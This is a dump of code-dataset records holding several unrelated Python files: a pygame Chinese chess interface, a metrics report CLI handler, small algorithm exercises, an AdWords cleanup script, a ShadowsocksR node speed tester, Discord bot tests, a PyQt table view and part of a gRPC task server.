self.env.red_to_move:{self.env.red_to_move}')\n if chessman_sprite.chessman.is_red == self.env.red_to_move: # 点击的是己方棋子\n current_chessman = chessman_sprite\n chessman_sprite.is_selected = True # 设置当前棋子为选中\n elif current_chessman != None and chessman_sprite != None: # 选中第二枚棋子\n # print(f'选中第二枚棋子: chessman_sprite.chessman.is_red:{chessman_sprite.chessman.is_red}, self.env.red_to_move:{self.env.red_to_move}')\n if chessman_sprite.chessman.is_red == self.env.red_to_move: # 第二枚是己方的棋子, 更新已选中的棋子\n current_chessman.is_selected = False\n current_chessman = chessman_sprite\n chessman_sprite.is_selected = True\n else: # 其它情况: 第二个点是空白处 or 对方棋子\n # move = str(current_chessman.chessman.col_num) + str(\n # current_chessman.chessman.row_num) + \\\n # str(col_num) + str(row_num) # a string\n # self.history.append(move) # 更新记录\n success = current_chessman.move(col_num,\n row_num) # 调用 move, return true or false; function in play_games/tool.py\n if success:\n self.chessmans.remove(chessman_sprite)\n chessman_sprite.chessman.set_alive(False) # 置为死亡\n chessman_sprite.kill()\n current_chessman.is_selected = False\n current_chessman = None\n # self.history.append(self.env.get_state())\n elif current_chessman != None and chessman_sprite is None:\n # move = str(current_chessman.chessman.col_num) + str(\n # current_chessman.chessman.row_num) + str(col_num) + str(row_num)\n # self.history.append(move)\n success = current_chessman.move(col_num, row_num) # chessman sprite的move\n if success:\n current_chessman.is_selected = False\n current_chessman = None\n # self.history.append(self.env.get_state())\n\n\n\n self.draw_widget(screen, widget_background, buttonList)\n framerate.tick(60)\n # clear/erase the last drawn sprites\n self.chessmans.clear(screen, board_background) # draw a background over the Sprites\n\n # update all the sprites\n self.chessmans.update()\n self.chessmans.draw(screen)\n pygame.display.update()\n\n # final move 是 kill king的一步\n success, finalMove = self.env.board.is_end_final_move()\n print(success, finalMove)\n if success and finalMove != None:\n sleep(2)\n old_x, old_y, x, y = self.env.board.str_to_move(finalMove)\n current_chessman = select_sprite_from_group(self.chessmans, old_x, old_y)\n chessman_sprite = select_sprite_from_group(self.chessmans, x, y)\n # moveString = str(old_x) + str(old_y) + str(x) + str(y)\n success = current_chessman.move(x, y)\n # print(f'old_x:{old_x}, old_y:{old_y}, x:{x}, y:{y}\\t success:{success}')\n if success:\n print('final move success')\n if chessman_sprite != None:\n self.chessmans.remove(chessman_sprite)\n chessman_sprite.kill()\n\n self.draw_widget(screen, widget_background, buttonList)\n framerate.tick(60) # 20\n # clear/erase the last drawn sprites\n self.chessmans.clear(screen, board_background) # draw a background over the Sprites\n\n # update all the sprites\n self.chessmans.update()\n self.chessmans.draw(screen)\n pygame.display.update()\n\n if self.has_resign:\n if self.has_resign == 1: # 红认输,则黑赢\n self.env.board.winner = Winner.black\n self.env.board.record += u'\\n红方降'\n else:\n self.env.board.winner = Winner.red\n self.env.board.record += u'\\n黑方降'\n\n logger.info(f\"Winner is {self.env.board.winner} !!!\")\n self.env.board.print_record()\n game_id = datetime.now().strftime(\"%Y%m%d-%H%M%S\")\n self.path = os.path.join(self.config.resource.play_record_dir,\n self.config.resource.play_record_filename_tmpl % game_id)\n self.env.board.save_record(self.path)\n conn = set_conn()\n success = insert_a_record(conn, self.env.board.winner, self.path)\n if success:\n print('insert to database success')\n else:\n print('insert to database fail')\n conn.close()\n sleep(3)\n\n\n def init_screen(self):\n bestdepth = pygame.display.mode_ok([self.screen_width, self.height], self.winstyle, 32)\n screen = pygame.display.set_mode([self.screen_width, self.height], self.winstyle, bestdepth)\n pygame.display.set_caption(\"中国象棋-人机模式\")\n\n # create the background, tile the background image\n bgdtile = load_image(f'{self.config.opts.bg_style}.GIF')\n bgdtile = pygame.transform.scale(bgdtile, (self.width, self.height))\n board_background = pygame.Surface([self.width, self.height])\n board_background.blit(bgdtile, (0, 0))\n widget_background = pygame.Surface([self.screen_width - self.width, self.height])\n white_rect = Rect(0, 0, self.screen_width - self.width, self.height)\n widget_background.fill((255, 255, 255), white_rect)\n\n # create text label\n font_file = self.config.resource.font_path # PingFang.ttc\n font = pygame.font.Font(font_file, 16)\n font_color = (0, 0, 0)\n font_background = (255, 255, 255)\n t = font.render(\"着法记录\", True, font_color, font_background)\n t_rect = t.get_rect()\n t_rect.x = 10\n t_rect.y = 40 # 10\n widget_background.blit(t, t_rect)\n\n # 认输和悔棋按钮\n button_withdraw = myButton(Rect(0, 0, 70, 20), '悔棋', bkgColor=button_color)\n button_resign = myButton(Rect(0, 0, 70, 20), '认输', bkgColor=red)\n tem = self.screen_width - self.width\n button_withdraw.set_rect(tem // 7 * 2, 20)\n button_resign.set_rect(tem // 7 * 5, 20)\n widget_background.blit(button_withdraw.get_Surface(), button_withdraw.get_rect())\n widget_background.blit(button_resign.get_Surface(), button_resign.get_rect())\n buttonList = [button_withdraw, button_resign]\n\n screen.blit(board_background, (0, 0))\n screen.blit(widget_background, (self.width, 0))\n pygame.display.flip()\n return screen, board_background, widget_background, buttonList\n\n def draw_widget(self, screen, widget_background, buttonList: list):\n white_rect = Rect(0, 0, self.screen_width - self.width, self.height) # 标出一个Rect\n widget_background.fill((255, 255, 255), white_rect) # 填充白色\n\n if buttonList == None:\n print('error, buttonList is not defined!')\n logger.error('buttonList is not defined! line in play_games/pvp.py: draw widget')\n sys.exit()\n widget_background.blit(buttonList[0].get_Surface(), buttonList[0].get_rect())\n widget_background.blit(buttonList[1].get_Surface(), buttonList[1].get_rect())\n\n screen.blit(widget_background, (self.width, 0))\n self.draw_records(screen, widget_background)\n\n def draw_records(self, screen, widget_background):\n text = '着法记录'\n self.draw_label(screen, widget_background, text, 40, 16, 10) # 10, 16, 10\n records = self.env.board.record.split('\\n')\n font_file = self.config.resource.font_path\n font = pygame.font.Font(font_file, 12)\n\n i = 0\n for record in records[-self.disp_record_num:]:\n self.rec_labels[i] = font.render(record, True, (0, 0, 0), (255, 255, 255))\n t_rect = self.rec_labels[i].get_rect()\n # t_rect.centerx = (self.screen_width - self.width) / 2\n t_rect.y = 65 + i * 15 # 35 + i * 35\n t_rect.x = 10\n t_rect.width = self.screen_width - self.width\n widget_background.blit(self.rec_labels[i], t_rect)\n i += 1\n screen.blit(widget_background, (self.width, 0))\n\n def draw_label(self, screen, widget_background, text, y, font_size, x=None):\n font_file = self.config.resource.font_path\n font = pygame.font.Font(font_file, font_size)\n label = font.render(text, True, (0, 0, 0), (255, 255, 255))\n t_rect = label.get_rect()\n t_rect.y = y\n if x != None:\n t_rect.x = x\n else:\n t_rect.centerx = (self.screen_width - self.width) / 2\n widget_background.blit(label, t_rect)\n screen.blit(widget_background, (self.width, 0))\n","sub_path":"mychess/play_games/minimax.py","file_name":"minimax.py","file_ext":"py","file_size_in_byte":17200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"523508625","text":"# Copyright 2020 Katteli Inc.\n# TestFlows.com Open-Source Software Testing Framework (http://testflows.com)\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport io\nimport csv\nimport testflows._core.cli.arg.type as argtype\n\nfrom testflows._core.cli.arg.common import epilog\nfrom testflows._core.cli.arg.common import HelpFormatter\nfrom testflows._core.cli.arg.handlers.handler import Handler as HandlerBase\nfrom testflows._core.transform.log.pipeline import MetricsLogPipeline\nfrom testflows._core.message import dumps\n\n\nclass OpenMetricsFormatter:\n def format_metric_name(self, name):\n return name.replace(\" \", \"_\")\n\n def format_metric(self, metric):\n metric_name = self.format_metric_name(metric[\"metric_name\"])\n metric_value = metric[\"metric_value\"]\n metric_units = metric[\"metric_units\"]\n metric_time = metric[\"message_time\"]\n test_name = metric[\"test_name\"]\n\n return f\"{metric_name}{{test={dumps(test_name)},units={dumps(metric_units)}}} {metric_value} {int(metric_time)}\\n\"\n\n def format(self, data):\n body = \"\"\n for metric in data[\"metrics\"]:\n body += self.format_metric(metric)\n return body\n\n\nclass CSVMetricsFormatter:\n def format_metric_name(self, name):\n return name.replace(\" \", \"_\")\n\n def format_metric(self, writer, metric):\n metric_name = self.format_metric_name(metric[\"metric_name\"])\n metric_value = metric[\"metric_value\"]\n metric_units = metric[\"metric_units\"]\n metric_time = metric[\"message_time\"]\n test_name = metric[\"test_name\"]\n writer.writerow(\n (test_name, metric_name, metric_units, metric_value, int(metric_time))\n )\n\n def format(self, data):\n body = io.StringIO()\n header = (\n \"test_name\",\n \"metric_name\",\n \"metric_units\",\n \"metric_value\",\n \"metric_time\",\n )\n writer = csv.writer(body, quoting=csv.QUOTE_NONNUMERIC)\n writer.writerow(header)\n for metric in data[\"metrics\"]:\n self.format_metric(writer, metric)\n return body.getvalue()\n\n\nclass Handler(HandlerBase):\n @classmethod\n def add_command(cls, commands):\n parser = commands.add_parser(\n \"metrics\",\n help=\"metrics report\",\n epilog=epilog(),\n description=\"Generate metrics report.\",\n formatter_class=HelpFormatter,\n )\n\n parser.add_argument(\n \"input\",\n metavar=\"input\",\n type=argtype.logfile(\"r\", bufsize=1, encoding=\"utf-8\"),\n nargs=\"?\",\n help=\"input log, default: stdin\",\n default=\"-\",\n )\n parser.add_argument(\n \"output\",\n metavar=\"output\",\n type=argtype.file(\"w\", bufsize=1, encoding=\"utf-8\"),\n nargs=\"?\",\n help=\"output file, default: stdout\",\n default=\"-\",\n )\n parser.add_argument(\n \"--format\",\n metavar=\"type\",\n type=str,\n help=\"output format choices: 'openmetrics', 'csv' default: openmetrics\",\n choices=[\"openmetrics\", \"csv\"],\n default=\"openmetrics\",\n )\n\n parser.set_defaults(func=cls())\n\n def data(self, metrics, args):\n d = dict()\n d[\"metrics\"] = metrics\n return d\n\n def generate(self, formatter, metrics, args):\n output = args.output\n output.write(formatter.format(self.data(metrics, args)))\n\n def handle(self, args):\n metrics = []\n MetricsLogPipeline(args.input, metrics).run()\n if args.format == \"openmetrics\":\n formatter = OpenMetricsFormatter()\n elif args.format == \"csv\":\n formatter = CSVMetricsFormatter()\n self.generate(formatter, metrics, args)\n","sub_path":"testflows/_core/cli/arg/handlers/report/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":4345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"261260568","text":"\n\nclass Solution(object):\n def lengthOfLongestSubstring(self, s):\n dic = {} \n res = 0\n start = 0\n for i, ch in enumerate(s):\n # when char already in dictionary\n if ch in dic:\n # check length from start of string to index\n res = max(res, i-start)\n # update start of string index to the next index\n start = max(start, dic[ch]+1)\n # add/update char to/of dictionary\n dic[ch] = i\n print(dic)\n # answer is either in the begining/middle OR some mid to the end of string\n return max(res, len(s)-start)\n\nprint(Solution().lengthOfLongestSubstring('abcdef'))","sub_path":"leetcode/longest-inc-str.py","file_name":"longest-inc-str.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"267292701","text":"import freedan\nfrom freedan import AdGroup\n\n\ndef remove_empty_adgroups(path_credentials, is_debug):\n \"\"\"\n A script that will delete all empty AdGroups in all accounts.\n An AdGroup is considered to be empty if it doesn't contain any keywords.\n\n :param path_credentials: str, path to your adwords credentials file\n :param is_debug: bool\n \"\"\"\n adwords_service = freedan.AdWordsService(path_credentials)\n for account in adwords_service.accounts():\n print(account)\n\n empty_adgroups = identify_empty_adgroups(adwords_service)\n # potentially save this DataFrame as a changelog\n\n operations = build_operations(empty_adgroups)\n adwords_service.upload(operations, is_debug=is_debug)\n\n\ndef build_operations(adgroups):\n \"\"\" Build delete operations for AdGroups\n :param adgroups: DataFrame\n :return: list of operations\n \"\"\"\n operations = list()\n for index, row in adgroups.iterrows():\n adgroup_id = int(row[\"AdGroupId\"])\n delete_operation = AdGroup.delete_operation(adgroup_id=adgroup_id)\n operations.append(delete_operation)\n return operations\n\n\ndef identify_empty_adgroups(adwords_service):\n \"\"\" Download all adgroups and identify which don't have Keywords\n :param adwords_service: AdWordsService object\n :return: DataFrame\n \"\"\"\n # ignore deleted entities\n fields = [\"CampaignName\", \"AdGroupName\", \"AdGroupId\"]\n predicates = [{\n \"field\": \"AdGroupStatus\",\n \"operator\": \"NOT_EQUALS\",\n \"values\": \"REMOVED\"\n }, {\n \"field\": \"CampaignStatus\",\n \"operator\": \"NOT_EQUALS\",\n \"values\": \"REMOVED\"\n }]\n\n # the adgroup report will contain all adgroups of the account\n adgroup_report_def = adwords_service.report_definition(\"ADGROUP_PERFORMANCE_REPORT\", fields, predicates)\n all_adgroups = adwords_service.download_report(adgroup_report_def, include_0_imp=True)\n if all_adgroups.empty: # skip rest if no adgroups in the account. otherwise merge below triggers warning\n return all_adgroups\n\n # the keyword report will only contain adgroups belonging to keywords in the account\n keyword_report_def = adwords_service.report_definition(\"KEYWORDS_PERFORMANCE_REPORT\", fields, predicates)\n keyword_adgroups = adwords_service.download_report(keyword_report_def, include_0_imp=True)\n\n # identify all adgroups in adgroup_report that are not in keyword_report\n # could also be done with set operations, but you'd lose the nice tabular overview and it's less consistent\n # with other example scripts\n keyword_adgroups[\"has_keywords\"] = True\n adgroups = all_adgroups.merge(keyword_adgroups, how=\"left\")\\\n .fillna(False)\n\n without_keywords = ~adgroups[\"has_keywords\"]\n return adgroups[without_keywords]\n\n\nif __name__ == \"__main__\":\n adwords_credentials_path = \"adwords_credentials.yaml\"\n remove_empty_adgroups(adwords_credentials_path, is_debug=True)\n","sub_path":"examples/advanced/remove_empty_adgroups.py","file_name":"remove_empty_adgroups.py","file_ext":"py","file_size_in_byte":2945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"135465930","text":"import unittest\nfrom random import sample\n\n\ndef findMinorElementIndex( elements ):\n\n\telements = elements.copy()\n\tminElement = elements[0]\n\tminElementIndex = 0\n\n\tfor i in range( len( elements ) ):\n\t\telement = elements[i]\n\n\t\tif minElement > element:\n\t\t\tminElement = element\n\t\t\tminElementIndex = i\n\n\t\n\treturn minElementIndex\n\n\ndef selectionSort( elements ):\n\n\telements = elements.copy()\n\tsize = len(elements)\n\n\n\tfor i in range( size ):\n\t\tminElementIndex = findMinorElementIndex( elements[ i: size ] )\n\t\tminElement = elements[ minElementIndex ]\n\t\telements[minElementIndex] = elements[i]\t\t\n\t\telements[i] = minElement\n\n\treturn elements\n\nclass SelectionSortTest( unittest.TestCase ):\n\n\tdef test_selection( self ):\n\n\t\telements = [x for x in sample( range(1000), 10 )]\n\n\t\torderedElements = selectionSort( elements )\n\t\t\n\n\t\tprint( orderedElements )\n\t\telements.sort()\n\t\tself.assertEqual( elements, orderedElements )\n\n","sub_path":"sorting/python/selectionSort.py","file_name":"selectionSort.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"109838426","text":"import urllib.request\nimport base64\n# import shadowsocksr.shadowsocks\nimport os\nimport time\nimport requests\nimport ParseSsr #https://www.jianshu.com/p/81b1632bea7f\nimport re\nimport youtube_speed\nfrom prettytable import PrettyTable\n\nimport socket\nimport socks\ndefault_socket = socket.socket\n\nonly_check_network=False\n\ndef isIP(str):\n p = re.compile('^((25[0-5]|2[0-4]\\d|[01]?\\d\\d?)\\.){3}(25[0-5]|2[0-4]\\d|[01]?\\d\\d?)$')\n if p.match(str):\n return True\n else:\n return False\n\ndef connect_ssr(ssr):\n try:\n port=\"6667\"\n if('protoparam' in ssr):\n cmd=\"python shadowsocksr/shadowsocks/local.py -qq -s %s -p %s -k %s -m %s -O %s -G %s -o %s -g %s -b %s -l %s\" % (ssr['server'],ssr['port'],ssr['password'],ssr['method'],ssr['protocol'],ssr['protoparam'],ssr['obfs'],ssr['obfsparam'],\"127.0.0.1\",port)\n else:\n cmd=\"python shadowsocksr/shadowsocks/local.py -qq -s %s -p %s -k %s -m %s -O %s -o %s -g %s -b %s -l %s\" % (ssr['server'],ssr['port'],ssr['password'],ssr['method'],ssr['protocol'],ssr['obfs'],ssr['obfsparam'],\"127.0.0.1\",port)\n os.system(cmd + \" -d stop\")\n os.system(cmd + \" -d start\")\n\n print(\"----------------------------\")\n print(ssr['remarks']+\"/\"+ssr['server'])\n\n socks.set_default_proxy(socks.SOCKS5, \"127.0.0.1\", int(port))\n socket.socket = socks.socksocket\n ip=requests.get('http://api.ip.sb/ip',timeout=15).text\n\n result={}\n result['host']=ssr['server']\n result['remarks']=ssr['remarks']\n result['ip']=ip.strip()\n print(result['ip'])\n if isIP(result['host']):\n ping_len=\"7\"\n else:\n ping_len=\"8\"\n cmd=\"ping -c 1 %s |grep 'time=' | awk '{print $%s}' |cut -b 6-\"% (result['host'],ping_len)\n\n ping_pc=os.popen(cmd).readlines()#.strip()\n if(len(ping_pc)):\n ping_pc=ping_pc[0].strip()\n print(\"ping_pc\",ping_pc)\n result['ping_pc']=ping_pc\n if not only_check_network:\n import speedtest\n s = speedtest.Speedtest()\n s.get_best_server()\n s.download()\n s.upload()\n s.results.share()\n results_dict = s.results.dict()\n result['ping']=results_dict['ping']\n result['download']=round(results_dict['download'] / 1000.0 / 1000.0,2)\n result['upload']=round(results_dict['upload'] / 1000.0 / 1000.0 ,2)\n result['state']=\"Success\"\n print(result['ping'],\"/\",result['ping_pc'])\n print(result['download'],\"Mbit/s\")\n print(result['upload'],\"Mbit/s\")\n socket.socket=default_socket\n youtube=youtube_speed.test_speed(port)\n youtube=int(re.sub(\"\\D\", \"\", youtube))\n result['youtube']=youtube\n else:\n socket.socket=default_socket\n result['youtube']=youtube_speed.test_speed(port)\n result['download']=0\n result['upload']=0\n result['ping']=0\n result['youtube']=0\n result['state']=\"Success\"\n return result\n\n except Exception as e:\n result={}\n result['host']=ssr['server']\n result['remarks']=ssr['remarks']\n result['ip']=''\n result['download']=0\n result['upload']=0\n result['ping']=0\n result['youtube']=0\n result['state']=\"Fail\"\n cmd=\"ping -c 1 %s |grep 'time=' | awk '{print $8}' |cut -b 6-\"% result['host']\n ping_pc=os.popen(cmd).readlines()#.strip()\n if(len(ping_pc)):\n ping_pc=ping_pc[0].strip()\n result['ping_pc']=ping_pc\n print(\"ping_local\",ping_pc)\n print (e)\n return result\n\nurl=input(\"url:\")\nssr_config=[]\nspeed_result=[]\nheaders = {'User-Agent':'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0'}\nf=urllib.request.Request(url,headers=headers) \n\nssr_subscribe = urllib.request.urlopen(f).read().decode('utf-8') #获取ssr订阅链接中数据\nssr_subscribe_decode = ParseSsr.base64_decode(ssr_subscribe)\nssr_subscribe_decode=ssr_subscribe_decode.replace('\\r','')\nssr_subscribe_decode=ssr_subscribe_decode.split('\\n')\n\nfor i in ssr_subscribe_decode:\n\tif(i):\n\t\tdecdata=str(i[6:])#去掉\"SSR://\"\n\t\tssr_config.append(ParseSsr.parse(decdata))#解析\"SSR://\" 后边的base64的配置信息返回一个字典\nfor s in ssr_config:\n speed_result.append(connect_ssr(s))#通过解析后的配置信息链接节点进行测速\nspeed_result.append(connect_ssr(ssr_config[4]))#通过解析后的配置信息链接节点进行测速\n\n#将测速结果生产为表格\ntable=PrettyTable([\"name\",\"ip\",\"localPing\",\"ping\",\"upload\",\"download\",\"youtube\"])\ntable.sortby = \"youtube\"#以\"download\"下载速度为排序根据\ntable.reversesort = True\nfor t in speed_result:\n table.add_row([t['remarks'],t['ip'],t['ping_pc'],t['ping'],t['upload'],t['download'],t['youtube']])\nprint(table)\n\n\n# for s in ssr_config:\n# speed_result=connect_ssr(s)#通过解析后的配置信息链接节点进行测速\n# print(speed_result)\n# table.add_row([speed_result['remarks'],speed_result['ip'],speed_result['ping_pc'],speed_result['ping'],speed_result['upload'],speed_result['download'],speed_result['youtube']])\n# print(table)\n\n","sub_path":"shadowsocksr-speed.py","file_name":"shadowsocksr-speed.py","file_ext":"py","file_size_in_byte":4970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"613179584","text":"import sys\nsys.path.append('..')\n\nimport pytest\n\nfrom bot.tests.commands.mock_command import MockMessage, MockChannel, MockGuild, MockClient, MockUser\nfrom bot.commands import Command\nfrom bot.commands import register\nfrom bot.prefixes import set_prefix\n\nfrom bot.receiver import parse_command\nfrom bot.receiver import receive\nfrom bot.receiver import receive_command\nfrom bot.receiver import parse_args\n\nasync def greet(command: Command, name: str, comment: str=None) -> None:\n await command.respond(f\"hi {name}\" + (f\", {comment}\" if comment else \"\"))\n\ndef setup_module():\n register(\n category = \"category\",\n names = [\"test\", \"alias\"]\n )(lambda command: command.respond(\"hi\"))\n register(\n category = \"category\",\n names = [\"greet\"],\n required_args = [\"name\"],\n optional_args = [\"comment\"]\n )(greet)\n\ndef test_parse_command():\n assert parse_command(\"+test\") == Command(\"test\")\n assert parse_command(\"+test 123\") == Command(\"test\", \"123\")\n assert parse_command(\"+test 1 2 3\") == Command(\"test\", \"1\", \"2\", \"3\")\n assert not parse_command(\"123\")\n assert not parse_command(\"+ test\")\n assert not parse_command(\"++test\")\n assert not parse_command(\"123 +test\")\n\ndef test_parse_command_quotes():\n assert parse_command(\"+test \\\"123\\\"\") == Command(\"test\", \"123\")\n assert parse_command(\"+test \\\"1 2\\\" \\\"3 4 5\\\"\") == Command(\"test\", \"1 2\", \"3 4 5\")\n\ndef test_parse_command_nested_quotes():\n assert parse_command(\"+test \\\"nested \\\"quotes\\\"\\\"\") == Command(\"test\", \"nested \\\"quotes\\\"\")\n\ndef test_parse_command_custom_prefix():\n context = MockMessage(channel=MockChannel(guild=MockGuild(_id=3)))\n set_prefix(guild_id=3, prefix=\"&\")\n\n assert not parse_command(\"+test\", context=context)\n assert parse_command(\"&test\", context=context) == Command(\"test\", context=context)\n assert parse_command(\"&test 123\", context=context) == Command(\"test\", \"123\", context=context)\n assert parse_command(\"&test 1 2 3\", context=context) == Command(\"test\", \"1\", \"2\", \"3\", context=context)\n assert not parse_command(\"123\", context=context)\n assert not parse_command(\"& test\", context=context)\n assert not parse_command(\"&&test\", context=context)\n assert not parse_command(\"123 &test\", context=context)\n\n@pytest.mark.asyncio\nasync def test_receive():\n mock_channel = MockChannel()\n mock_message = MockMessage(\"+test\", channel=mock_channel)\n await receive(mock_message, client=MockClient())\n assert mock_channel.messages[0].content == \"hi\"\n\n@pytest.mark.asyncio\nasync def test_receive_too_many_args():\n mock_channel = MockChannel()\n mock_message = MockMessage(\"+test one two three\", channel=mock_channel)\n await receive(mock_message, client=MockClient())\n assert mock_channel.messages[0].content == \"hi\"\n\n@pytest.mark.asyncio\nasync def test_receive_command():\n mock_channel = MockChannel()\n mock_message = MockMessage(\"+test\", channel=mock_channel)\n assert await receive_command(Command(\"test\", context=mock_message))\n assert mock_channel.typing_triggered\n assert mock_channel.messages[0].content == \"hi\"\n\n@pytest.mark.asyncio\nasync def test_receive_command_alias():\n mock_channel = MockChannel()\n mock_message = MockMessage(\"+alias\", channel=mock_channel)\n assert await receive_command(Command(\"alias\", context=mock_message))\n assert mock_channel.typing_triggered\n assert mock_channel.messages[0].content == \"hi\"\n\n@pytest.mark.asyncio\nasync def test_receive_command_unrecognized():\n assert not await receive_command(Command(\"undefined\"))\n\n@pytest.mark.asyncio\nasync def test_receive_command_missing_arg():\n mock_channel = MockChannel()\n mock_message = MockMessage(\"+greet\", channel=mock_channel)\n\n assert not await receive_command(Command(\"greet\", context=mock_message))\n assert mock_channel.messages[0].content.startswith(\"✗\")\n assert \"missing required argument\" in mock_channel.messages[0].content.lower()\n assert \"``\" in mock_channel.messages[0].content.lower()\n\n@pytest.mark.asyncio\nasync def test_receive_command_without_optional_arg():\n mock_channel = MockChannel()\n mock_message = MockMessage(\"+greet someone\", channel=mock_channel)\n\n assert await receive_command(Command(\"greet\", \"someone\", context=mock_message))\n assert mock_channel.messages[0].content == \"hi someone\"\n\n@pytest.mark.asyncio\nasync def test_receive_command_with_optional_arg():\n mock_channel = MockChannel()\n mock_message = MockMessage(\"+greet someone how are you doing?\", channel=mock_channel)\n\n assert await receive_command(Command(\"greet\", \"someone\", \"how are you doing?\", context=mock_message))\n assert mock_channel.messages[0].content == \"hi someone, how are you doing?\"\n\n@pytest.mark.asyncio\nasync def test_receive_command_lacking_permission():\n mock_channel = MockChannel(guild=MockGuild(_id=3))\n mock_message = MockMessage(\"+test\", channel=mock_channel, author=MockUser(is_admin=False))\n\n assert not await receive_command(Command(\"test\", context=mock_message))\n assert mock_channel.typing_triggered\n assert \"✗ lacking permission\" in mock_channel.messages[0].content.lower()\n\ndef test_parse_args():\n assert parse_args([\"well\", \"hello\", \"there\"], 2) == [\"well\", \"hello there\"]","sub_path":"bot/tests/test_receiver.py","file_name":"test_receiver.py","file_ext":"py","file_size_in_byte":5287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"294255969","text":"# -*- coding: utf-8 -*-\n\n# python:2.x\n\n__author__ = 'Administrator'\n\nfrom PyQt4.QtGui import *\nfrom PyQt4.Qt import *\nfrom PyQt4.QtCore import *\nimport operator\nimport sys\nfrom LoggingConfig import logger\n\n########----------------view-----------------##################\nclass QtTableView(QTableView):\n def __init__(self,parnet=None,*args):\n super(QtTableView,self).__init__(parnet,*args)\n self.setWindowFlags(Qt.FramelessWindowHint | Qt.MSWindowsFixedSizeDialogHint | Qt.Widget)\n QTextCodec.setCodecForTr(QTextCodec.codecForName('utf-8'))\n\n def getSafeHwnd(self):\n return int(self.winId())\n\n def relocate(self, x, y, width, height):\n self.setGeometry(x, y, width, height)\n \n def displayData(self, header, data):\n #print 'header:', header\n #print 'data:', data\n \n # Set the table model\n tablemodel = TableModel(data, header, self)\n self.setModel(tablemodel)\n self.setUI()\n self.show()\n\n def setUI(self):\n # set the minimum size\n #self.setMinimumSize(400, 300)\n # hide vertical header\n vh = self.verticalHeader()\n vh.setVisible(False)\n # set horizontal header properties\n hh = self.horizontalHeader()\n hh.setStretchLastSection(True)\n # set column width to fit contents\n self.resizeColumnsToContents()\n # set row height\n self.resizeRowsToContents()\n # enable sorting\n self.setSortingEnabled(True)\n \n def clearTable(self):\n tablemodel = self.model()\n if tablemodel is not None:\n self.setModel(tablemodel.reset())\n\n###############--------------TableModel-----------------############\nclass TableModel(QAbstractTableModel):\n def __init__(self, datain, headerdata, parent=None):\n \"\"\"\n Args:\n datain: a list of lists\\n\n headerdata: a list of strings\n \"\"\"\n QAbstractTableModel.__init__(self, parent)\n self.arraydata = datain\n self.headerdata = headerdata\n\n def rowCount(self, parent):\n return len(self.arraydata)\n\n def columnCount(self, parent):\n if len(self.arraydata) > 0: \n return len(self.arraydata[0]) \n return 0\n\n def data(self, index, role):\n if not index.isValid():\n return QVariant()\n elif role != Qt.DisplayRole:\n return QVariant()\n return QVariant(unicode(self.arraydata[index.row()][index.column()]))\n\n def setData(self, index, value, role):\n pass # not sure what to put here\n\n def headerData(self, col, orientation, role):\n if orientation == Qt.Horizontal and role == Qt.DisplayRole:\n return QVariant(self.headerdata[col])\n return QVariant()\n\n def sort(self, Ncol, order):\n \"\"\"\n Sort table by given column number.\n \"\"\"\n self.emit(SIGNAL(\"layoutAboutToBeChanged()\"))\n self.arraydata = sorted(self.arraydata, key=operator.itemgetter(Ncol))\n if order == Qt.DescendingOrder:\n self.arraydata.reverse()\n self.emit(SIGNAL(\"layoutChanged()\"))\n\ndef fun_tableview():\n import numpy as np\n import pandas as pd\n table = QtTableView()\n testdata = pd.DataFrame(np.random.randn(5,3), columns = [u'学号', u'姓名', u'分数'])\n header = list(testdata.columns.values)\n data = testdata.values\n table.displayData(header, data)\n return table\n\nif __name__ == \"__main__\":\n reload(sys)\n sys.setdefaultencoding('UTF-8')\n app =QApplication(sys.argv)\n table = fun_tableview()\n sys.exit(app.exec_())","sub_path":"TA_Product_ECSPlan/TA_BASE/code/transactive/app/energy_management/DashboardPrototype/QtTableView.py","file_name":"QtTableView.py","file_ext":"py","file_size_in_byte":3624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"643262862","text":"\"\"\"TODO:\n E/16/388\n Server implementation\n\n * Implement error handling in TaskapiImpl methods\n * Implement saveTasks, loadTasks\n * Implement TaskapiImpl.editTask (ignoring write conflicts)\n * Fix data race in TaskapiImpl.addTask\n\"\"\"\nfrom concurrent.futures import ThreadPoolExecutor\nfrom pathlib import Path\nimport logging\nfrom pprint import pformat\nfrom typing import Mapping, Sequence, Tuple\nimport threading\n\nfrom google.protobuf import (\n any_pb2,\n api_pb2,\n duration_pb2,\n empty_pb2,\n field_mask_pb2,\n source_context_pb2,\n struct_pb2,\n timestamp_pb2,\n type_pb2,\n wrappers_pb2,\n)\nfrom grpc import server, StatusCode\nimport task_pb2, task_pb2_grpc\n\n\nclass TaskapiImpl:\n\n def __init__(self, taskfile: str): #constructor to initialize file to store tasks, taskid and Lock object\n self.taskfile = taskfile \n self.task_id = 0\n self.lock = threading.Lock()\n\n\n #4. Complete TaskapiImpl.__enter__ and TaskapiImpl.__exit__ to save and load tasks to and from a file.\n def __enter__(self):\n \"\"\"Load tasks from self.taskfile\"\"\"\n with open(self.taskfile, mode=\"rb\") as t: #use context manager to read taskfile\n tasklist = task_pb2.Tasks() #new Tasks object to hold tasks\n tasklist.ParseFromString(t.read()) #read from taskfile\n logging.info(f\"Loaded data from {self.taskfile}\") \n self.tasks: Mapping[int, task_pb2.Task] = {t.id : t for t in tasklist.pending} #store in tasks 